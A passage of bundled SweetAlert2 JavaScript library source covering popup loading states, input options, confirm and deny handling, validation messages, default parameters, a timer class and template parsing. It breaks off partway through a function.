  1699. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1700. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1701. popup.addEventListener(animationEndEvent, function(e) {
  1702. if (e.target === popup) {
  1703. globalState.swalCloseEventFinishedCallback();
  1704. delete globalState.swalCloseEventFinishedCallback;
  1705. }
  1706. });
  1707. };
  1708. const triggerDidCloseAndDispose = (instance, didClose) => {
  1709. setTimeout(() => {
  1710. if (typeof didClose === "function") {
  1711. didClose.bind(instance.params)();
  1712. }
  1713. if (instance._destroy) {
  1714. instance._destroy();
  1715. }
  1716. });
  1717. };
  1718. const showLoading = (buttonToReplace) => {
  1719. let popup = getPopup();
  1720. if (!popup) {
  1721. new Swal2();
  1722. }
  1723. popup = getPopup();
  1724. const loader = getLoader();
  1725. if (isToast()) {
  1726. hide(getIcon());
  1727. } else {
  1728. replaceButton(popup, buttonToReplace);
  1729. }
  1730. show(loader);
  1731. popup.setAttribute("data-loading", "true");
  1732. popup.setAttribute("aria-busy", "true");
  1733. popup.focus();
  1734. };
  1735. const replaceButton = (popup, buttonToReplace) => {
  1736. const actions = getActions();
  1737. const loader = getLoader();
  1738. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  1739. buttonToReplace = getConfirmButton();
  1740. }
  1741. show(actions);
  1742. if (buttonToReplace) {
  1743. hide(buttonToReplace);
  1744. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  1745. }
  1746. loader.parentNode.insertBefore(loader, buttonToReplace);
  1747. addClass([popup, actions], swalClasses.loading);
  1748. };
  1749. const handleInputOptionsAndValue = (instance, params) => {
  1750. if (params.input === "select" || params.input === "radio") {
  1751. handleInputOptions(instance, params);
  1752. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  1753. showLoading(getConfirmButton());
  1754. handleInputValue(instance, params);
  1755. }
  1756. };
  1757. const getInputValue = (instance, innerParams) => {
  1758. const input = instance.getInput();
  1759. if (!input) {
  1760. return null;
  1761. }
  1762. switch (innerParams.input) {
  1763. case "checkbox":
  1764. return getCheckboxValue(input);
  1765. case "radio":
  1766. return getRadioValue(input);
  1767. case "file":
  1768. return getFileValue(input);
  1769. default:
  1770. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  1771. }
  1772. };
  1773. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  1774. const getRadioValue = (input) => input.checked ? input.value : null;
  1775. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  1776. const handleInputOptions = (instance, params) => {
  1777. const popup = getPopup();
  1778. const processInputOptions = (inputOptions) => {
  1779. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  1780. };
  1781. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  1782. showLoading(getConfirmButton());
  1783. asPromise(params.inputOptions).then((inputOptions) => {
  1784. instance.hideLoading();
  1785. processInputOptions(inputOptions);
  1786. });
  1787. } else if (typeof params.inputOptions === "object") {
  1788. processInputOptions(params.inputOptions);
  1789. } else {
  1790. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  1791. }
  1792. };
  1793. const handleInputValue = (instance, params) => {
  1794. const input = instance.getInput();
  1795. hide(input);
  1796. asPromise(params.inputValue).then((inputValue) => {
  1797. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  1798. show(input);
  1799. input.focus();
  1800. instance.hideLoading();
  1801. }).catch((err) => {
  1802. error(`Error in inputValue promise: ${err}`);
  1803. input.value = "";
  1804. show(input);
  1805. input.focus();
  1806. instance.hideLoading();
  1807. });
  1808. };
  1809. const populateInputOptions = {
  1810. /**
  1811. * @param {HTMLElement} popup
  1812. * @param {Record<string, any>} inputOptions
  1813. * @param {SweetAlertOptions} params
  1814. */
  1815. select: (popup, inputOptions, params) => {
  1816. const select = getDirectChildByClass(popup, swalClasses.select);
  1817. const renderOption = (parent, optionLabel, optionValue) => {
  1818. const option = document.createElement("option");
  1819. option.value = optionValue;
  1820. setInnerHtml(option, optionLabel);
  1821. option.selected = isSelected(optionValue, params.inputValue);
  1822. parent.appendChild(option);
  1823. };
  1824. inputOptions.forEach((inputOption) => {
  1825. const optionValue = inputOption[0];
  1826. const optionLabel = inputOption[1];
  1827. if (Array.isArray(optionLabel)) {
  1828. const optgroup = document.createElement("optgroup");
  1829. optgroup.label = optionValue;
  1830. optgroup.disabled = false;
  1831. select.appendChild(optgroup);
  1832. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  1833. } else {
  1834. renderOption(select, optionLabel, optionValue);
  1835. }
  1836. });
  1837. select.focus();
  1838. },
  1839. /**
  1840. * @param {HTMLElement} popup
  1841. * @param {Record<string, any>} inputOptions
  1842. * @param {SweetAlertOptions} params
  1843. */
  1844. radio: (popup, inputOptions, params) => {
  1845. const radio = getDirectChildByClass(popup, swalClasses.radio);
  1846. inputOptions.forEach((inputOption) => {
  1847. const radioValue = inputOption[0];
  1848. const radioLabel = inputOption[1];
  1849. const radioInput = document.createElement("input");
  1850. const radioLabelElement = document.createElement("label");
  1851. radioInput.type = "radio";
  1852. radioInput.name = swalClasses.radio;
  1853. radioInput.value = radioValue;
  1854. if (isSelected(radioValue, params.inputValue)) {
  1855. radioInput.checked = true;
  1856. }
  1857. const label = document.createElement("span");
  1858. setInnerHtml(label, radioLabel);
  1859. label.className = swalClasses.label;
  1860. radioLabelElement.appendChild(radioInput);
  1861. radioLabelElement.appendChild(label);
  1862. radio.appendChild(radioLabelElement);
  1863. });
  1864. const radios = radio.querySelectorAll("input");
  1865. if (radios.length) {
  1866. radios[0].focus();
  1867. }
  1868. }
  1869. };
  1870. const formatInputOptions = (inputOptions) => {
  1871. const result = [];
  1872. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  1873. inputOptions.forEach((value, key) => {
  1874. let valueFormatted = value;
  1875. if (typeof valueFormatted === "object") {
  1876. valueFormatted = formatInputOptions(valueFormatted);
  1877. }
  1878. result.push([key, valueFormatted]);
  1879. });
  1880. } else {
  1881. Object.keys(inputOptions).forEach((key) => {
  1882. let valueFormatted = inputOptions[key];
  1883. if (typeof valueFormatted === "object") {
  1884. valueFormatted = formatInputOptions(valueFormatted);
  1885. }
  1886. result.push([key, valueFormatted]);
  1887. });
  1888. }
  1889. return result;
  1890. };
  1891. const isSelected = (optionValue, inputValue) => {
  1892. return inputValue && inputValue.toString() === optionValue.toString();
  1893. };
  1894. const handleConfirmButtonClick = (instance) => {
  1895. const innerParams = privateProps.innerParams.get(instance);
  1896. instance.disableButtons();
  1897. if (innerParams.input) {
  1898. handleConfirmOrDenyWithInput(instance, "confirm");
  1899. } else {
  1900. confirm(instance, true);
  1901. }
  1902. };
  1903. const handleDenyButtonClick = (instance) => {
  1904. const innerParams = privateProps.innerParams.get(instance);
  1905. instance.disableButtons();
  1906. if (innerParams.returnInputValueOnDeny) {
  1907. handleConfirmOrDenyWithInput(instance, "deny");
  1908. } else {
  1909. deny(instance, false);
  1910. }
  1911. };
  1912. const handleCancelButtonClick = (instance, dismissWith) => {
  1913. instance.disableButtons();
  1914. dismissWith(DismissReason.cancel);
  1915. };
  1916. const handleConfirmOrDenyWithInput = (instance, type) => {
  1917. const innerParams = privateProps.innerParams.get(instance);
  1918. if (!innerParams.input) {
  1919. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  1920. return;
  1921. }
  1922. const inputValue = getInputValue(instance, innerParams);
  1923. if (innerParams.inputValidator) {
  1924. handleInputValidator(instance, inputValue, type);
  1925. } else if (!instance.getInput().checkValidity()) {
  1926. instance.enableButtons();
  1927. instance.showValidationMessage(innerParams.validationMessage);
  1928. } else if (type === "deny") {
  1929. deny(instance, inputValue);
  1930. } else {
  1931. confirm(instance, inputValue);
  1932. }
  1933. };
  1934. const handleInputValidator = (instance, inputValue, type) => {
  1935. const innerParams = privateProps.innerParams.get(instance);
  1936. instance.disableInput();
  1937. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  1938. validationPromise.then((validationMessage) => {
  1939. instance.enableButtons();
  1940. instance.enableInput();
  1941. if (validationMessage) {
  1942. instance.showValidationMessage(validationMessage);
  1943. } else if (type === "deny") {
  1944. deny(instance, inputValue);
  1945. } else {
  1946. confirm(instance, inputValue);
  1947. }
  1948. });
  1949. };
  1950. const deny = (instance, value) => {
  1951. const innerParams = privateProps.innerParams.get(instance || void 0);
  1952. if (innerParams.showLoaderOnDeny) {
  1953. showLoading(getDenyButton());
  1954. }
  1955. if (innerParams.preDeny) {
  1956. instance.isAwaitingPromise = true;
  1957. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  1958. preDenyPromise.then((preDenyValue) => {
  1959. if (preDenyValue === false) {
  1960. instance.hideLoading();
  1961. handleAwaitingPromise(instance);
  1962. } else {
  1963. instance.close({
  1964. isDenied: true,
  1965. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  1966. });
  1967. }
  1968. }).catch((error2) => rejectWith(instance || void 0, error2));
  1969. } else {
  1970. instance.close({
  1971. isDenied: true,
  1972. value
  1973. });
  1974. }
  1975. };
  1976. const succeedWith = (instance, value) => {
  1977. instance.close({
  1978. isConfirmed: true,
  1979. value
  1980. });
  1981. };
  1982. const rejectWith = (instance, error2) => {
  1983. instance.rejectPromise(error2);
  1984. };
  1985. const confirm = (instance, value) => {
  1986. const innerParams = privateProps.innerParams.get(instance || void 0);
  1987. if (innerParams.showLoaderOnConfirm) {
  1988. showLoading();
  1989. }
  1990. if (innerParams.preConfirm) {
  1991. instance.resetValidationMessage();
  1992. instance.isAwaitingPromise = true;
  1993. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  1994. preConfirmPromise.then((preConfirmValue) => {
  1995. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  1996. instance.hideLoading();
  1997. handleAwaitingPromise(instance);
  1998. } else {
  1999. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  2000. }
  2001. }).catch((error2) => rejectWith(instance || void 0, error2));
  2002. } else {
  2003. succeedWith(instance, value);
  2004. }
  2005. };
  2006. function hideLoading() {
  2007. const innerParams = privateProps.innerParams.get(this);
  2008. if (!innerParams) {
  2009. return;
  2010. }
  2011. const domCache = privateProps.domCache.get(this);
  2012. hide(domCache.loader);
  2013. if (isToast()) {
  2014. if (innerParams.icon) {
  2015. show(getIcon());
  2016. }
  2017. } else {
  2018. showRelatedButton(domCache);
  2019. }
  2020. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2021. domCache.popup.removeAttribute("aria-busy");
  2022. domCache.popup.removeAttribute("data-loading");
  2023. domCache.confirmButton.disabled = false;
  2024. domCache.denyButton.disabled = false;
  2025. domCache.cancelButton.disabled = false;
  2026. }
  2027. const showRelatedButton = (domCache) => {
  2028. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2029. if (buttonToReplace.length) {
  2030. show(buttonToReplace[0], "inline-block");
  2031. } else if (allButtonsAreHidden()) {
  2032. hide(domCache.actions);
  2033. }
  2034. };
  2035. function getInput() {
  2036. const innerParams = privateProps.innerParams.get(this);
  2037. const domCache = privateProps.domCache.get(this);
  2038. if (!domCache) {
  2039. return null;
  2040. }
  2041. return getInput$1(domCache.popup, innerParams.input);
  2042. }
  2043. function setButtonsDisabled(instance, buttons, disabled) {
  2044. const domCache = privateProps.domCache.get(instance);
  2045. buttons.forEach((button) => {
  2046. domCache[button].disabled = disabled;
  2047. });
  2048. }
  2049. function setInputDisabled(input, disabled) {
  2050. if (!input) {
  2051. return;
  2052. }
  2053. if (input.type === "radio") {
  2054. const radiosContainer = input.parentNode.parentNode;
  2055. const radios = radiosContainer.querySelectorAll("input");
  2056. for (let i = 0; i < radios.length; i++) {
  2057. radios[i].disabled = disabled;
  2058. }
  2059. } else {
  2060. input.disabled = disabled;
  2061. }
  2062. }
  2063. function enableButtons() {
  2064. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2065. }
  2066. function disableButtons() {
  2067. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2068. }
  2069. function enableInput() {
  2070. setInputDisabled(this.getInput(), false);
  2071. }
  2072. function disableInput() {
  2073. setInputDisabled(this.getInput(), true);
  2074. }
  2075. function showValidationMessage(error2) {
  2076. const domCache = privateProps.domCache.get(this);
  2077. const params = privateProps.innerParams.get(this);
  2078. setInnerHtml(domCache.validationMessage, error2);
  2079. domCache.validationMessage.className = swalClasses["validation-message"];
  2080. if (params.customClass && params.customClass.validationMessage) {
  2081. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2082. }
  2083. show(domCache.validationMessage);
  2084. const input = this.getInput();
  2085. if (input) {
  2086. input.setAttribute("aria-invalid", true);
  2087. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2088. focusInput(input);
  2089. addClass(input, swalClasses.inputerror);
  2090. }
  2091. }
  2092. function resetValidationMessage() {
  2093. const domCache = privateProps.domCache.get(this);
  2094. if (domCache.validationMessage) {
  2095. hide(domCache.validationMessage);
  2096. }
  2097. const input = this.getInput();
  2098. if (input) {
  2099. input.removeAttribute("aria-invalid");
  2100. input.removeAttribute("aria-describedby");
  2101. removeClass(input, swalClasses.inputerror);
  2102. }
  2103. }
  2104. const defaultParams = {
  2105. title: "",
  2106. titleText: "",
  2107. text: "",
  2108. html: "",
  2109. footer: "",
  2110. icon: void 0,
  2111. iconColor: void 0,
  2112. iconHtml: void 0,
  2113. template: void 0,
  2114. toast: false,
  2115. showClass: {
  2116. popup: "swal2-show",
  2117. backdrop: "swal2-backdrop-show",
  2118. icon: "swal2-icon-show"
  2119. },
  2120. hideClass: {
  2121. popup: "swal2-hide",
  2122. backdrop: "swal2-backdrop-hide",
  2123. icon: "swal2-icon-hide"
  2124. },
  2125. customClass: {},
  2126. target: "body",
  2127. color: void 0,
  2128. backdrop: true,
  2129. heightAuto: true,
  2130. allowOutsideClick: true,
  2131. allowEscapeKey: true,
  2132. allowEnterKey: true,
  2133. stopKeydownPropagation: true,
  2134. keydownListenerCapture: false,
  2135. showConfirmButton: true,
  2136. showDenyButton: false,
  2137. showCancelButton: false,
  2138. preConfirm: void 0,
  2139. preDeny: void 0,
  2140. confirmButtonText: "OK",
  2141. confirmButtonAriaLabel: "",
  2142. confirmButtonColor: void 0,
  2143. denyButtonText: "No",
  2144. denyButtonAriaLabel: "",
  2145. denyButtonColor: void 0,
  2146. cancelButtonText: "Cancel",
  2147. cancelButtonAriaLabel: "",
  2148. cancelButtonColor: void 0,
  2149. buttonsStyling: true,
  2150. reverseButtons: false,
  2151. focusConfirm: true,
  2152. focusDeny: false,
  2153. focusCancel: false,
  2154. returnFocus: true,
  2155. showCloseButton: false,
  2156. closeButtonHtml: "&times;",
  2157. closeButtonAriaLabel: "Close this dialog",
  2158. loaderHtml: "",
  2159. showLoaderOnConfirm: false,
  2160. showLoaderOnDeny: false,
  2161. imageUrl: void 0,
  2162. imageWidth: void 0,
  2163. imageHeight: void 0,
  2164. imageAlt: "",
  2165. timer: void 0,
  2166. timerProgressBar: false,
  2167. width: void 0,
  2168. padding: void 0,
  2169. background: void 0,
  2170. input: void 0,
  2171. inputPlaceholder: "",
  2172. inputLabel: "",
  2173. inputValue: "",
  2174. inputOptions: {},
  2175. inputAutoFocus: true,
  2176. inputAutoTrim: true,
  2177. inputAttributes: {},
  2178. inputValidator: void 0,
  2179. returnInputValueOnDeny: false,
  2180. validationMessage: void 0,
  2181. grow: false,
  2182. position: "center",
  2183. progressSteps: [],
  2184. currentProgressStep: void 0,
  2185. progressStepsDistance: void 0,
  2186. willOpen: void 0,
  2187. didOpen: void 0,
  2188. didRender: void 0,
  2189. willClose: void 0,
  2190. didClose: void 0,
  2191. didDestroy: void 0,
  2192. scrollbarPadding: true
  2193. };
  2194. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2195. const deprecatedParams = {};
  2196. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2197. const isValidParameter = (paramName) => {
  2198. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2199. };
  2200. const isUpdatableParameter = (paramName) => {
  2201. return updatableParams.indexOf(paramName) !== -1;
  2202. };
  2203. const isDeprecatedParameter = (paramName) => {
  2204. return deprecatedParams[paramName];
  2205. };
  2206. const checkIfParamIsValid = (param) => {
  2207. if (!isValidParameter(param)) {
  2208. warn(`Unknown parameter "${param}"`);
  2209. }
  2210. };
  2211. const checkIfToastParamIsValid = (param) => {
  2212. if (toastIncompatibleParams.includes(param)) {
  2213. warn(`The parameter "${param}" is incompatible with toasts`);
  2214. }
  2215. };
  2216. const checkIfParamIsDeprecated = (param) => {
  2217. const isDeprecated = isDeprecatedParameter(param);
  2218. if (isDeprecated) {
  2219. warnAboutDeprecation(param, isDeprecated);
  2220. }
  2221. };
  2222. const showWarningsForParams = (params) => {
  2223. if (params.backdrop === false && params.allowOutsideClick) {
  2224. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2225. }
  2226. for (const param in params) {
  2227. checkIfParamIsValid(param);
  2228. if (params.toast) {
  2229. checkIfToastParamIsValid(param);
  2230. }
  2231. checkIfParamIsDeprecated(param);
  2232. }
  2233. };
  2234. function update(params) {
  2235. const popup = getPopup();
  2236. const innerParams = privateProps.innerParams.get(this);
  2237. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2238. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2239. return;
  2240. }
  2241. const validUpdatableParams = filterValidParams(params);
  2242. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2243. render(this, updatedParams);
  2244. privateProps.innerParams.set(this, updatedParams);
  2245. Object.defineProperties(this, {
  2246. params: {
  2247. value: Object.assign({}, this.params, params),
  2248. writable: false,
  2249. enumerable: true
  2250. }
  2251. });
  2252. }
  2253. const filterValidParams = (params) => {
  2254. const validUpdatableParams = {};
  2255. Object.keys(params).forEach((param) => {
  2256. if (isUpdatableParameter(param)) {
  2257. validUpdatableParams[param] = params[param];
  2258. } else {
  2259. warn(`Invalid parameter to update: ${param}`);
  2260. }
  2261. });
  2262. return validUpdatableParams;
  2263. };
  2264. function _destroy() {
  2265. const domCache = privateProps.domCache.get(this);
  2266. const innerParams = privateProps.innerParams.get(this);
  2267. if (!innerParams) {
  2268. disposeWeakMaps(this);
  2269. return;
  2270. }
  2271. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2272. globalState.swalCloseEventFinishedCallback();
  2273. delete globalState.swalCloseEventFinishedCallback;
  2274. }
  2275. if (typeof innerParams.didDestroy === "function") {
  2276. innerParams.didDestroy();
  2277. }
  2278. disposeSwal(this);
  2279. }
  2280. const disposeSwal = (instance) => {
  2281. disposeWeakMaps(instance);
  2282. delete instance.params;
  2283. delete globalState.keydownHandler;
  2284. delete globalState.keydownTarget;
  2285. delete globalState.currentInstance;
  2286. };
  2287. const disposeWeakMaps = (instance) => {
  2288. if (instance.isAwaitingPromise) {
  2289. unsetWeakMaps(privateProps, instance);
  2290. instance.isAwaitingPromise = true;
  2291. } else {
  2292. unsetWeakMaps(privateMethods, instance);
  2293. unsetWeakMaps(privateProps, instance);
  2294. delete instance.isAwaitingPromise;
  2295. delete instance.disableButtons;
  2296. delete instance.enableButtons;
  2297. delete instance.getInput;
  2298. delete instance.disableInput;
  2299. delete instance.enableInput;
  2300. delete instance.hideLoading;
  2301. delete instance.disableLoading;
  2302. delete instance.showValidationMessage;
  2303. delete instance.resetValidationMessage;
  2304. delete instance.close;
  2305. delete instance.closePopup;
  2306. delete instance.closeModal;
  2307. delete instance.closeToast;
  2308. delete instance.rejectPromise;
  2309. delete instance.update;
  2310. delete instance._destroy;
  2311. }
  2312. };
  2313. const unsetWeakMaps = (obj, instance) => {
  2314. for (const i in obj) {
  2315. obj[i].delete(instance);
  2316. }
  2317. };
  2318. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2319. __proto__: null,
  2320. _destroy,
  2321. close,
  2322. closeModal: close,
  2323. closePopup: close,
  2324. closeToast: close,
  2325. disableButtons,
  2326. disableInput,
  2327. disableLoading: hideLoading,
  2328. enableButtons,
  2329. enableInput,
  2330. getInput,
  2331. handleAwaitingPromise,
  2332. hideLoading,
  2333. rejectPromise,
  2334. resetValidationMessage,
  2335. showValidationMessage,
  2336. update
  2337. });
  2338. const handlePopupClick = (instance, domCache, dismissWith) => {
  2339. const innerParams = privateProps.innerParams.get(instance);
  2340. if (innerParams.toast) {
  2341. handleToastClick(instance, domCache, dismissWith);
  2342. } else {
  2343. handleModalMousedown(domCache);
  2344. handleContainerMousedown(domCache);
  2345. handleModalClick(instance, domCache, dismissWith);
  2346. }
  2347. };
  2348. const handleToastClick = (instance, domCache, dismissWith) => {
  2349. domCache.popup.onclick = () => {
  2350. const innerParams = privateProps.innerParams.get(instance);
  2351. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  2352. return;
  2353. }
  2354. dismissWith(DismissReason.close);
  2355. };
  2356. };
  2357. const isAnyButtonShown = (innerParams) => {
  2358. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  2359. };
  2360. let ignoreOutsideClick = false;
  2361. const handleModalMousedown = (domCache) => {
  2362. domCache.popup.onmousedown = () => {
  2363. domCache.container.onmouseup = function(e) {
  2364. domCache.container.onmouseup = void 0;
  2365. if (e.target === domCache.container) {
  2366. ignoreOutsideClick = true;
  2367. }
  2368. };
  2369. };
  2370. };
  2371. const handleContainerMousedown = (domCache) => {
  2372. domCache.container.onmousedown = () => {
  2373. domCache.popup.onmouseup = function(e) {
  2374. domCache.popup.onmouseup = void 0;
  2375. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  2376. ignoreOutsideClick = true;
  2377. }
  2378. };
  2379. };
  2380. };
  2381. const handleModalClick = (instance, domCache, dismissWith) => {
  2382. domCache.container.onclick = (e) => {
  2383. const innerParams = privateProps.innerParams.get(instance);
  2384. if (ignoreOutsideClick) {
  2385. ignoreOutsideClick = false;
  2386. return;
  2387. }
  2388. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  2389. dismissWith(DismissReason.backdrop);
  2390. }
  2391. };
  2392. };
  2393. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  2394. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  2395. const argsToParams = (args) => {
  2396. const params = {};
  2397. if (typeof args[0] === "object" && !isElement(args[0])) {
  2398. Object.assign(params, args[0]);
  2399. } else {
  2400. ["title", "html", "icon"].forEach((name, index) => {
  2401. const arg = args[index];
  2402. if (typeof arg === "string" || isElement(arg)) {
  2403. params[name] = arg;
  2404. } else if (arg !== void 0) {
  2405. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  2406. }
  2407. });
  2408. }
  2409. return params;
  2410. };
  2411. function fire() {
  2412. const Swal3 = this;
  2413. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2414. args[_key] = arguments[_key];
  2415. }
  2416. return new Swal3(...args);
  2417. }
  2418. function mixin(mixinParams) {
  2419. class MixinSwal extends this {
  2420. _main(params, priorityMixinParams) {
  2421. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  2422. }
  2423. }
  2424. return MixinSwal;
  2425. }
  2426. const getTimerLeft = () => {
  2427. return globalState.timeout && globalState.timeout.getTimerLeft();
  2428. };
  2429. const stopTimer = () => {
  2430. if (globalState.timeout) {
  2431. stopTimerProgressBar();
  2432. return globalState.timeout.stop();
  2433. }
  2434. };
  2435. const resumeTimer = () => {
  2436. if (globalState.timeout) {
  2437. const remaining = globalState.timeout.start();
  2438. animateTimerProgressBar(remaining);
  2439. return remaining;
  2440. }
  2441. };
  2442. const toggleTimer = () => {
  2443. const timer = globalState.timeout;
  2444. return timer && (timer.running ? stopTimer() : resumeTimer());
  2445. };
  2446. const increaseTimer = (n) => {
  2447. if (globalState.timeout) {
  2448. const remaining = globalState.timeout.increase(n);
  2449. animateTimerProgressBar(remaining, true);
  2450. return remaining;
  2451. }
  2452. };
  2453. const isTimerRunning = () => {
  2454. return !!(globalState.timeout && globalState.timeout.isRunning());
  2455. };
  2456. let bodyClickListenerAdded = false;
  2457. const clickHandlers = {};
  2458. function bindClickHandler() {
  2459. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  2460. clickHandlers[attr] = this;
  2461. if (!bodyClickListenerAdded) {
  2462. document.body.addEventListener("click", bodyClickListener);
  2463. bodyClickListenerAdded = true;
  2464. }
  2465. }
  2466. const bodyClickListener = (event) => {
  2467. for (let el = event.target; el && el !== document; el = el.parentNode) {
  2468. for (const attr in clickHandlers) {
  2469. const template = el.getAttribute(attr);
  2470. if (template) {
  2471. clickHandlers[attr].fire({
  2472. template
  2473. });
  2474. return;
  2475. }
  2476. }
  2477. }
  2478. };
  2479. var staticMethods = /* @__PURE__ */ Object.freeze({
  2480. __proto__: null,
  2481. argsToParams,
  2482. bindClickHandler,
  2483. clickCancel,
  2484. clickConfirm,
  2485. clickDeny,
  2486. enableLoading: showLoading,
  2487. fire,
  2488. getActions,
  2489. getCancelButton,
  2490. getCloseButton,
  2491. getConfirmButton,
  2492. getContainer,
  2493. getDenyButton,
  2494. getFocusableElements,
  2495. getFooter,
  2496. getHtmlContainer,
  2497. getIcon,
  2498. getIconContent,
  2499. getImage,
  2500. getInputLabel,
  2501. getLoader,
  2502. getPopup,
  2503. getProgressSteps,
  2504. getTimerLeft,
  2505. getTimerProgressBar,
  2506. getTitle,
  2507. getValidationMessage,
  2508. increaseTimer,
  2509. isDeprecatedParameter,
  2510. isLoading,
  2511. isTimerRunning,
  2512. isUpdatableParameter,
  2513. isValidParameter,
  2514. isVisible,
  2515. mixin,
  2516. resumeTimer,
  2517. showLoading,
  2518. stopTimer,
  2519. toggleTimer
  2520. });
  2521. class Timer {
  2522. /**
  2523. * @param {Function} callback
  2524. * @param {number} delay
  2525. */
  2526. constructor(callback, delay) {
  2527. this.callback = callback;
  2528. this.remaining = delay;
  2529. this.running = false;
  2530. this.start();
  2531. }
  2532. /**
  2533. * @returns {number}
  2534. */
  2535. start() {
  2536. if (!this.running) {
  2537. this.running = true;
  2538. this.started = /* @__PURE__ */ new Date();
  2539. this.id = setTimeout(this.callback, this.remaining);
  2540. }
  2541. return this.remaining;
  2542. }
  2543. /**
  2544. * @returns {number}
  2545. */
  2546. stop() {
  2547. if (this.started && this.running) {
  2548. this.running = false;
  2549. clearTimeout(this.id);
  2550. this.remaining -= (/* @__PURE__ */ new Date()).getTime() - this.started.getTime();
  2551. }
  2552. return this.remaining;
  2553. }
  2554. /**
  2555. * @param {number} n
  2556. * @returns {number}
  2557. */
  2558. increase(n) {
  2559. const running = this.running;
  2560. if (running) {
  2561. this.stop();
  2562. }
  2563. this.remaining += n;
  2564. if (running) {
  2565. this.start();
  2566. }
  2567. return this.remaining;
  2568. }
  2569. /**
  2570. * @returns {number}
  2571. */
  2572. getTimerLeft() {
  2573. if (this.running) {
  2574. this.stop();
  2575. this.start();
  2576. }
  2577. return this.remaining;
  2578. }
  2579. /**
  2580. * @returns {boolean}
  2581. */
  2582. isRunning() {
  2583. return this.running;
  2584. }
  2585. }
  2586. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  2587. const getTemplateParams = (params) => {
  2588. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  2589. if (!template) {
  2590. return {};
  2591. }
  2592. const templateContent = template.content;
  2593. showWarningsForElements(templateContent);
  2594. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2595. return result;
  2596. };
  2597. const getSwalParams = (templateContent) => {
  2598. const result = {};
  2599. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2600. swalParams.forEach((param) => {
  2601. showWarningsForAttributes(param, ["name", "value"]);
  2602. const paramName = param.getAttribute("name");
  2603. const value = param.getAttribute("value");
  2604. if (typeof defaultParams[paramName] === "boolean") {
  2605. result[paramName] = value !== "false";
  2606. } else if (typeof defaultParams[paramName] === "object") {
  2607. result[paramName] = JSON.parse(value);
  2608. } else {
  2609. result[paramName] = value;
  2610. }
  2611. });
  2612. return result;
  2613. };
  2614. const getSwalFunctionParams = (templateContent) => {
  2615. const result = {};
  2616. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2617. swalFunctions.forEach((param) => {
  2618. const paramName = param.getAttribute("name");
